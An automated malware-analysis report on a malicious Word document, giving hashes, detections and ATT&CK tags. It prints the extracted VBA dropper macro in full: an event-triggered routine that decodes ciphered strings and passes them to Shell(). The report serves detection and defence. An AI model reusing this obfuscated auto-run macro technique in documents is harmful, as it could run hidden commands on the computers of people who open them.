Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 974452924563703f…

MALICIOUS

Office (OLE)

96.0 KB Created: 2018-06-21 06:40:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 8e46550f26cf1259b9c07967f2b767d4 SHA-1: 7b8720342b46fbcdd93cb0ff51742e28d7c4d0a3 SHA-256: 974452924563703f8b6c83e156bc46d87c35892dc33c2020f19ec4129cafc2e3
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' indicates the presence of a Shell() call within the VBA code, which is commonly used to execute arbitrary commands. The ClamAV detection 'Doc.Dropper.Agent-6586797-0' further confirms its malicious nature as a dropper. The VBA script, though truncated, shows evidence of string decoding and concatenation, suggesting it's designed to fetch and execute a secondary payload.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-6586797-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6586797-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/officeDocument/2006/bibliography In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2816 bytes
SHA-256: 829cdaf898a12c60ceb9ec039850924467be47d883426bc0b14f37c1514ce2ae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "InkPicture1, 0, 0, MSINKAUTLib, InkPicture"
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
UserForm1.TextBox3 = "1"
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{ABDF5176-00ED-4EC3-90BE-55F9C6130585}{63A6B624-437E-4FF8-B279-B4C6D7734CF7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub TextBox2_Change()
Shell UserForm1.TextBox2, 0
End Sub

Private Sub TextBox3_Change()
name1 = GenerateName()
name2 = GenerateName()
name3 = GenerateName()
name4 = GenerateName()
dec1 = DecodeString("/)kt[/tgfuiojxibbt]$gfuiojxibbt]]ls(/pdf(t")
dec2 = DecodeString("{.jpod(z,t\")
dec3 = DecodeString("};{(iu f'ci/ptjajpi)%(ip%ui'/bdi(p}%kfu(bfhkldbi{\")
dec4 = DecodeString("_$$qp)gq|")
dec5 = DecodeString("%imi$$}:jphop gof/ijjt$$qp)gq|")
dec6 = DecodeString("%imi$$:-poa;")
dec7 = DecodeString("{$$xppgr[[(oozho)i(p%/f)[lbf)phj%'d($$}-/hp/x;")
dec8 = DecodeString("{$$xppgr[[fhjdj gofci/pj%/f)[lbf)phj%'d($$}-$]]tetfsp ldbit i(/fkd(zthj/ddt ldbighpxtqp)gq|")
dec9 = DecodeString("%'hp:tjphop gof/ijjt$qp)gq|")
dec10 = DecodeString("%'hp$t ud(kfujpabitxdkki(]")
text = ""
test2 text, dec1, name1
test2 text, dec2, name2
test2 text, dec3, name2
test2 text, dec4, name3
test2 text, dec5, name3
test2 text, dec6, name1
test2 text, dec7, name1
test2 text, dec8, name4
test2 text, dec9, name4
test2 text, dec10, ""
UserForm1.TextBox2 = text
End Sub

Attribute VB_Name = "Module1"
Function GenerateName()
Randomize
leng = 6 * Rnd() + 4
name1 = ""
For i = 1 To leng
num = 24 * Rnd() + 97
name1 = name1 + Chr(num)
Next i
GenerateName = name1
End Function

Function DecodeString(text)
decode = ""
For i = 1 To Len(text)
decode = decode + GetAlphabetSymbol(SearchNum(Mid(text, i, 1)), 5)
Next i
DecodeString = decode
End Function

Function GetAlphabetSymbol(num, key)
If num - key < 1 Then
GetAlphabetSymbol = Mid(UserForm1.TextBox1, Len(UserForm1.TextBox1) + num - key, 1)
Else
GetAlphabetSymbol = Mid(UserForm1.TextBox1, num - key, 1)
End If
End Function

Function SearchNum(symbol)
For i = 1 To Len(UserForm1.TextBox1)
If symbol = Mid(UserForm1.TextBox1, i, 1) Then
SearchNum = i
End If
Next i
End Function

Attribute VB_Name = "Module2"
Function test2(ByRef text, dec, name)
text = text + dec + name
End Function

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